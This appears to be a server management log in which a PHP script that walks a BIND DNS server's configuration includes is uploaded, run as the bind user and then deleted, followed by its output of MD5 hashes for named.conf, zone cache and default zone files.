function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:45:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp155138; rm /tmp/pkp155138'

2026-04-24 11:45:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:22:08: Establishing a connection
2026-04-24 12:22:08: 

PUT: /tmp/pkp317411

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:22:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp317411; rm /tmp/pkp317411'

2026-04-24 12:22:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
